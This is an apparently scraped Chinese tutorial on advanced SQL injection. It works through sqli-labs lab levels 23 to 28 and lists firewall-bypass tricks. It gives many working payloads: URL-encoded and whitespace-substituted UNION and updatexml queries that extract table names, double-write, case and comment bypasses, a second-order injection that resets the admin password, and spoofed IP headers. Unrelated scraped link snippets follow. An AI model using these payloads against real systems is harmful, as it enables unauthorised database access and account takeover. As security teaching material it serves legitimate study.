★SQL注入漏洞(7)SQL注入高级篇

2023-11-18

分析目标防火墙并且跳过
1.直接拉黑ip类防火墙
2.过滤删除相应字符的防火墙
1.waf注释符号过滤
例题:Sqli-labs T23  
特点: 注释符  --+  #  被过滤掉了  绕过方法: 逻辑上补全闭合即可  
多加一次url编码只是更安全的绕过
select * from users where id = '' limit 0,1
select * from users where id = ' -1' union select 1,2,'3 ' limit 0,1
-1' union select 1,database(),'3
?id=1'      
?id=1%27    //单引号进行url编码后会变成%27
原理:
大部分网站的get请求最后送到服务器上都会进行url编码
而过滤的过程会通过类似于if语句先进行对比替换判断等操作之后才会进行编码。所以可以人为先编码 这样既可以避免服务器进行编码 也可以绕过部分防火墙的检测
PHP语言写的过滤语句一般只会去逐字比对判断 不会进行编码判断
//必要的时候进行全部的url编码
?id=2' or '1'='1    //对红字部分进行url编码
?id=2%27%20%6f%72%20%27%31%27%3d%27%31
?id=-2' union select 1,2,3 or '1'='1   //对红色的部分进行url编码即可
?id=-2%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32%2c%33%20%6f%72%20%27%31%27%3d%27%31
?id=-2' union select 1,2,3 or '1'='1
2.密码重置越权 (越权漏洞)
例题:Sqli-labs中的T24  密码重置
//当可以注册用户的时候,我们思考一下能不能通过修改自己的密码去修改别人的密码
$new_pass1 = $_POST['new_pass1'];
$new_pass2 = $_POST['new_pass2'];
if($new_pass1 == $new_pass2){
    update users set password='$new_password1' where username='$user' and password='$old_pass';
}
可以尝试新注册一个用户名字叫 admin' # 密码随便
之后登录相应的账户 成功登录admin' # 这个账户
之后进行修改密码 把新的密码改成999  这个时候被修改密码的账户是admin账户
update users set password='123' where username=' admin'# ' and password='$old_pass';
之后登录账户 admin  密码为999 登录成功 实现了越权修改密码这个操作
sqli-labs T25  屏蔽了and or  单引号闭合
or
/*!or*/
尝试order by  发现结果是der 说明防火墙是直接删除了or 可以尝试双写绕过
防火墙:replace类型 找到直接替换为空
绕过方法1 双写绕过: id=2' aandnd 1=1 --+
replace('or','')
绕过尝试2:大小写绕过 失败了 说明防火墙也是大小写敏感
有的防火墙会先把内容都转成小写 再进行判断
and和or还可以使用  &&  ||  替代   不过这题&&也被屏蔽了  还可以尝试对&&先进行url编码再提交
id=2' || 1=1 --+
id=2' %26%26 1=1 --+
id=2' aANDnd 1=1 --+
id=2' && 1=1 --+
id=1' || extractvalue(1,concat(0x7e,(select database()),0x7e)) --+
$url1=urldecode($url)
$url2=$url1.replace
如果防火墙先解码然后去验证的话  那我们可以尝试两次编码然后提交去绕过相应的防火墙
3.waf屏蔽空格
过滤内容:反斜杠  or  and 空格  --+等注释符
情况:屏蔽 or and 空格  --+ #  /**/
代替 空格的东西:
%09 平台tab键
%0a 新建一行
%0c 新建一页
%0d 回车键
%0b 垂直tab键
%a0 也可以是空格键(大多数情况下用)
数据库报错问题屏蔽了 - (减号)  可以使用 id=0   id=2000000000
例题 sqli-labs中的 T26
id=2000000' union select 1,2,3||'1
id=2000000%27%0bunion%0bselect%0b1,2,3||%271
&&进行url编码提交 发现成功 所以url编码不会被过滤
?id=1' order by 3 %26%26 '1   //or被屏蔽 且or大小写绕过失败 双写嵌套绕过成功
?id=1' oorrder by 3 %26%26 '1  //空格需要替代
?id=1'%a0oorder%a0by%a03%a0%26%26%a0'1
?id=1'%odoorrder%0dby%0d3%0d%26%26%0d'1
?id=100000' union select 1,2,3 || '1
http://127.0.0.1/sqli-labs/Less-26/?id=1'%0doorrder%0dby%0d3%0d%26%26%0d'1
http://127.0.0.1/sqli-labs/Less-26/?id=1'%a0oorrder%a0by%a02%a0%26%26%a0'1
id=1'
id=1%27||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)like(database())),0x7e),1))||1=%27
id=1%27||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)like(database())),0x7e),1))||1=%27
http://127.0.0.1/sqli-labs/Less-26/?id=1%27||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)like(database())),0x7e),1))||1=%27
4.union select屏蔽
例题:sqli-labs中的T27  (T28类似)这题屏蔽了减号(注释符),屏蔽了union select,屏蔽了空格
//可以大小写翻转 php本身是大小写敏感的 修复方式:先对输入的内容进行小写转换 然后再进行判断
?id=2' or '1'='1   //发现空格没有了
?id=2000'%0bunion%0bselect%0b1,database(),3%0b||%0b'1
?id=2000'%0buNion%0bseLEct%0b1,database(),3%0b||%0b'1
127.0.0.1/sqli-labs/Less-27/?id=200000'%0buniOn%0bsElEct%0b1,database(),3%0bor%0b'1'='1
屏蔽了 --+  空格也被屏蔽了 减号也被屏蔽
id=1000000000' union select 1,2,3 or '1'='1   //union select也被屏蔽了
id=1000000000' uNion sElect 1,2,3 or '1'='1  
id=1000000000'%0buNion%0bsElect%0b1,2,3%0bor%0b'1'='1
sqli-labs的T29 30 31不是php写的 不具体展开
t32-t33 宽字节注入 sql注入大纲中详细介绍了 这里不多赘述
会自己加转义字符
if '\' in url:
    www.xx.com/index.php?id='2\\'
t34 POST下的宽字节 详情见POST注入部分 这里不多赘述
t35和34类似 
t36 37都是
t38 堆叠注入 可以在专题查看 这里不多赘述
奇淫巧技:
1.大小写绕过
UniOn SelEct
2.双写绕过
union selselectect
3.编码绕过 //直接对内容进行Hex编码 也就是十六进制编码 而且十六进制可以不用加引号
'security' == 0x7365637572697479
4.注释符(防火墙不会认为这是union select 但是解析的时候会变成union select)
un/**/ion sel/**/ect
5.空格绕过
具体绕过方法查看如上第三个即可
6.or and绕过
and == &&
or  == ||
7.宽字节绕过 %df%27这种
8.内联函数(即使被注释了 本身在数据库里面也可以被执行)
/*!select*/ 1,2,3    ?
/!*select*/ 1,2,3    ?
9.<>绕过
un<>ion sel<>ect
10.逗号的屏蔽
select substr("security",1,3);
select substr("security" from 1 for 3);  //用from for语句替代逗号
union select 1,2,3
union select * from (select 1)a join (select 2)b join (select 3)c;
limit 0,1
limit 0 offset 1
11.sleep屏蔽
and sleep(1)
and benchmark(10000000000,1)
12.group_concat屏蔽
select group_concat('x','y');
select concat_ws('','x','y');
13.等号=屏蔽
使用like rlike regexp <>
id=1' or '1'='1
id=1' or '1' like '1
id=1' or '1' rlike '1
id=1' or '1' regexp '1
id=1' or '1' <> '1
14.POST下屏蔽#注释符
-- a    //减号减号空格a也可以被当作注释符 大部分情况是用来替代空格使用
uname=admin -- a&&passwd=admin   
15.特殊符号过waf
/*! 50001 select * from users */
这里的500001表示的是如果数据库的版本是5.00.01以上的版本 这个语句才会被执行 (已经没有5.00.01以上的版本了 所以一定会执行)
但是防火墙会认为这个是注释 所以可以实现绕过
16.ip地址拦截 (都是在burp的数据包里面的)
x-forward-for
x-remote-ip
x-originating-ip
x-remote-addr
x-real-ip
17.修改资源  已经找到了问题网页 但是防火墙不允许访问的情况
http://www.xx.com/sql.php?id=1
http://www.xx.com/sql.php/1.js?id=1
18.url白名单 (已经不好用了)
大多数情况下防火墙内置的白名单有一个列表 屏蔽admin manager system
www.xx.com/admin/admin.php  这种地址防火墙不允许直接在url上访问
www.xx.com/sql.php/admin.php?id=1
www.xx.com/../../../../../sql.php/../../../sql.php/admin.php?id=1
19.
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

★SQL注入漏洞(7)SQL注入高级篇 的相关文章

  • 一张表中按最大日期过滤重复行的 SQL 查询

    我有一个 SQL 数据库 persons 它具有基于 IDNum 列的重复条目 我需要查询条目并仅根据最新创建日期显示行或重复条目 这是查询 SELECT IDNum PersonPGUID CreatedDateTime FirstNam
  • PostgreSQL 和锁定

    希望一些比我更聪明的 DBA 可以帮助我找到一个好的解决方案来完成我需要做的事情 为了便于讨论 我们假设我有一个名为 work 的表 其中包含一些列 其中一列表示给定客户端对该行工作的所有权 场景是 我将连接 2 个客户端并轮询表以查找要完
  • 使用 SQL 完全复制 postgres 表

    免责声明 这个问题和栈溢出问题类似here https stackoverflow com questions 198141 copy a table including indexes in postgres 但这些答案都不适用于我的问题
  • 如何在审计触发器中使用system_user但仍使用连接池?

    我想做以下两件事 在我的数据库表上使用审计触发器来识别哪个用户更新了什么 使用连接池来提高性能 对于 1 我在数据库触发器中使用 system user 来识别进行更改的用户 但这阻止我执行需要通用连接字符串的 2 有没有一种方法可以让我充
  • Android 中读取未提交的事务

    我正在进行大量数据库操作 这会向我的数据库添加大约 10 000 条记录 由于这可能需要很长时间 因此最好使用事务 db startTransaction do write operations db setTransactionSucce
  • 在实体框架 6 中使用 SqlQuery>

    我正在尝试在 EF 6 中执行 SQL 查询 select查询返回两个字符串列 例如select a b 并且可以有任意数量的行 我想将结果映射到字典 但我无法摆脱以下错误 错误 1 无法将类型 System Data Entity Inf
  • 无法访问 Big Query 中类型为 ARRAY> 的字段

    我正在尝试在 BigQuery 上使用标准 SQL 方言 即不是旧版 SQL 运行查询 我的查询是 SELECT date hits referer FROM refresh ga sessions xxxxxx LIMIT 1000 但不
  • 从 Presto 中的 JSON 列获取特定值

    我有一个带有 JSON 列的表points其中一行为 0 0 2 1 1 2 2 0 5 15 1 2 20 0 7 我想获取键的值 1 and 20 并将它们存储为别名 例如first and second在查询中 到目前为止我所做的是
  • SQL Server 2008 GUID 列全为 0

    我希望这是我做的一个简单的傻事 我的数据库中有一个表 设置如下 column name widget guid data type uniqueidentifier allow nulls false default value newid
  • PL/SQL 过程:如何返回 select 语句?

    我想创建一个存储过程 on ORACLE数据库服务器我的问题是 我不知道如何返回 select 语句 这是程序中应包含的逻辑 输入参数 过滤器1 int 过滤器2 字符串 with cte as select val1 val2 stdde
  • 火鸟删除速度很慢

    我正在做这个简单的交易 DELETE FROM ominve01 WHERE CVE OBS IN SELECT CVE OBS FROM minve01 M WHERE M FECHA DOCU lt 31 12 2010 OR FECH
  • 如何获得组中“中间”值的平均值?

    我有一个包含值和组 ID 的表 简化示例 我需要获取中间 3 个值的每组的平均值 因此 如果有 1 2 或 3 个值 则它只是平均值 但如果有 4 个值 它将排除最高值 5 个值将排除最高值和最低值 等等 我正在考虑某种窗口函数 但我不确定
  • IN 运算符对 SQL 查询性能的影响有多大?

    我的 SQL 查询需要 9 个小时才能执行 见下文 Select Field1 Field2 From A Where Field3 IN 45 unique values here 当我将此查询拆分为 3 个完全相同的查询 仅每个 IN
  • value >= all(select v2 ...) 产生与 value = (select max(v2) ...) 不同的结果

    Here https stackoverflow com questions 17026651 query from union of joins 17027784 noredirect 1 comment24611997 17027784
  • 如何选择列值不不同的每一行

    我需要运行一个 select 语句 返回列值不不同的所有行 例如 EmailAddress 例如 如果表格如下所示 CustomerName EmailAddress Aaron email protected cdn cgi l emai
  • 如何删除MySQL中的所有事件

    如果我想删除某个事件 我需要查询类似的内容 DROP EVENT IF EXISTS eventname 但我找不到一次性删除所有事件的命令 必须一项一项地删除 有没有一次性删除所有事件的SQL DROP EVENT IF EXISTS S
  • 如何在sql server 2008R2中将单个单元格拆分为多个列?

    我想将每个名称拆分为各个列 create table split test value integer Allnames varchar 40 insert into split test values 1 Vinoth Kumar Raj
  • 索引在 NOT IN 或 <> 子句中起作用吗?

    我读过 至少 Oracle 数据库中的普通索引基本上是 B 树结构 因此存储处理适当根节点的记录 小于 根的记录被迭代地存储在树的左侧部分 而 大于 根的记录被存储在右侧部分 正是这种存储方法有助于通过树遍历实现更快的扫描 因为深度和广度都
  • 在 Oracle 中如何将多行组合成逗号分隔的列表? [复制]

    这个问题在这里已经有答案了 我有一个简单的查询 select from countries 结果如下 country name Albania Andorra Antigua 我想在一行中返回结果 如下所示 Albania Andorra
  • 总结同一个 SQL 表上的两个条件

    给定一个 SQL 表 Transactions ID INT COMPANY ID INT STATUS INT where STATUS IN 0 1 表示免费交易并且STATUS IN 2 3 表示可计费交易 简单的 我希望 ANSI

随机推荐

  • Swift语法学习--类(class)

    文章目录 类 初始化及实例 类的引用 reference 特征 类和结构体比较 类属性的set和get方法解析 类属性的willSet和didSet方法解析 类的下标 类方法和静态方法 将一个类的实例作为另一个类的属性 类的继承 父类在实例
  • MATLABdiag()用法

    1 提取矩阵的对角线元素 设A为m n矩阵 diag A 函数用于提取矩阵A主对角线元素 产生一个具有min m n 个元素的列向量 diag A k 提取矩阵A第k条对角线的元素 产生一个列向量 注意 矩阵的对角线 与主对角线平行 往上为
  • Unity核心5——Tilemap

    Tilemap 一般称之为瓦片地图或者平铺地图 是 Unity2017 中新增的功能 主要用于快速编辑 2D 游戏中的场景 通过复用资源的形式提升地图多样性 工作原理就是用一张张的小图排列组合为一张大地图 它和 SpriteShape 的异
  • android Scrollview里的内容不停留在顶部的问题

    先说明一下 任何一个页面都应该按照布局的先后顺序来显示 我这出现的问题就是 Scrollview里面嵌套Listview的头布局一进来看不见了 直接被Listview把焦点给抢了 最先显示的是Listview的item部分 直接上图 解决代
  • React中的“计算属性”

    React中的 计算属性 相信许多学习过vue的小伙伴对计算属性都不陌生吧 计算属性能帮我们数据进行一些计算操作 计算属性是依赖于data里面的数据的 在vue中只要计算属性依赖的data值发生改变 则计算属性就会调用 那React中也有计
  • gsaop 有头文件生成wsdl文件

    gsoap ns service name name area gsoap ns service style rpc gsoap ns service encoding encoded gsoap ns service namespace
  • SSM框架之MyBatis(二)--多表查询及查询结果映射

    使用MyBatis这一强大的框架可以解决很多赋值的问题 其中对于子配置文件中的小细节有很多需要注意的地方 使用这个框架后主要就是对于配置文件的编写和配置 今天我写了一个多表查询 表的基本结构如下 用户表t user 用户编号uid 账号ac
  • CNN中特征融合的一些策略

    Introduction 特征融合的方法很多 如果数学化地表示 大体可以分为以下几种 X Y textbf X textbf Y X Y X
  • 12. Xaml Calendar控价 时间控件-->像挂历

    1 运行图片 2 运行源码 a xaml 源码
  • 通信原理复习(四)——基带数字信号的表示和传输

    数字信号传输的标志 1 除去直流分量和频率很低的分量 2 在接收端得到的每个码元的起止时刻信息 3 使信号的频谱和信道的传输特性相匹配 波形 1 单极性波形 只适合用导线连接的各点之间做近距离传输 0和 V V 2 双极性波形 取 V和 V
  • AD导入3D模型

    我之前写过一篇文章也是说AD的3D模型的 http blog csdn net tq384998430 article details 78614014 介绍的是使用AD自带的功能绘制3D模型 但是这样绘制出来的形状并不是很好看 如果导入元
  • el-table的无限滚动(效果比虚拟滚动更优)

    步骤 1 前端安装 save el table infinite scrol npm install save el table infinite scroll 2 全局引用 在main js中引用 import Vue from vue
  • C语言实现八进制转十进制

    八进制转十进制 include
  • java类的生命周期

    如图 1 加载 我们编写一个java的源文件 经过编译后生成一个后缀名为 class的文件 这结合四字节码文件 java虚拟机就识别这种文件 java的生命周期就是class文件从加载到消亡的过程 关于加载 其实 就是将源文件的class文
  • 关键元器件选型设计指引--通用逻辑器件(逻辑IC)

    1 物料分类 标准逻辑器件 标准数字逻辑IC集成电路可以从工艺 功能和电平三个方面划分 列表所示 注 常见的逻辑电路有54军用系列和74商用系列 两者电路功能一致 本文仅讨论74系列 按照制造工艺特点分类 工艺 逻辑器件产品族 优点 不足
  • sublime-text3-自定义代码补全

    自定义代码补全 打开sublime text3 选择菜单栏 工具 gt 新代码段 按以下模板填充 content 在CDATA中填补全内容 tabTrigger 触发代码 scope 文件类型 description 描述信息 下例为 输入
  • Kafka一致性

    一 存在的一致性问题 1 生产者和Kafka存储一致性的问题 即生产了多少条消息 就要成功保存多少条消息 不能丢失 不能重复 更重要的是不丢失 其实就是要确保消息写入成功 这可以通过acks 1来保证 保证所有ISR的副本都是一致的 即一条
  • CSP 202212-1 现值计算

    答题 主要就是 include
  • “无法从静态上下文中引用非静态变量,非静态方法”原因及解决

    1 原因 1 用static修饰的方法为静态方法 修饰变量则为静态变量 又分别叫做类方法或者类变量 这些从属于类 是类本身具备的 没有实例也会存在 2 而非静态方法和变量的存在依赖于对象 是对象的属性 需要先创建实例对象 然后通过对象调用
  • ★SQL注入漏洞(7)SQL注入高级篇

    分析目标防火墙并且跳过 1 直接拉黑ip类防火墙 2 过滤删除相应字符的防火墙 1 waf注释符号过滤 例题 Sqli labs T23 特点 注释符 被过滤掉了 绕过方法 逻辑上补全闭合即可 多加一次url编码只是更安全的绕过 selec